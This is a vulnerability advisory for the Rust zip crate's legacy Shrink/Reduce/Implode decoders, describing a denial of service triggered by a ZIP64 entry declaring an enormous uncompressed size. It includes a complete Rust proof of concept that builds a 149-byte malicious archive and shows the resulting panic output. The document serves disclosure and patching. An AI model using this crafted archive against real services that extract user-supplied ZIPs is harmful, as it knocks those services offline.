Vulnerability advisory

GHSA-9hj8-73fh-9963

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

Published Updated OSV record ↗

Also known as CVE-2026-115907

Severity
  • CVSS 3.xCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected versions

AffectedFixed in
5.1.0 to before 9.0.09.0.0Advisories →

Description

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size = out.len() as u32 - central_start;

    push32(&mut out, 0x0605_4b50);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 1);
    push16(&mut out, 1);
    push32(&mut out, central_size);
    push32(&mut out, central_start);
    push16(&mut out, 0);
    out
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let bytes = archive();
    File::create("poc.zip")?.write_all(&bytes)?;

    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
    let entry = archive.by_index(0)?;

    println!(
        "method={:?} declared_size={}",
        entry.compression(),
        entry.size()
    );

    drop(entry);

    let output = tempfile::tempdir()?;
    archive.extract(output.path())?;
    Ok(())
}

Run the reproducer in release mode:

cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:

method=Shrink declared_size=18446744073709551615

thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

  • zip::read::ZipArchive::extract

References

  • Codex
  • Claude Code
  • VS Code
  • GitHub Copilot
  • Cursor
  • Cline
  • Windsurf
  • Google Anti-gravity
  • OpenCode
  • Pi
  • Gemini CLI
  • Hermes Agent
  • Zed
  • Junie
  • Qwen Code
  • Kiro
  • Kilo Code
  • Factory Droid

Set up GitHits for your agents

Run this command:

<> bash
npx githits@latest init

What happens next:

  1. Opens your browser to authorize GitHits
  2. Asks whether to set up GitHits at the user or project level
  3. Detects your supported AI coding tools
  4. Lets you choose which tools to configure
  5. Configures the selected tools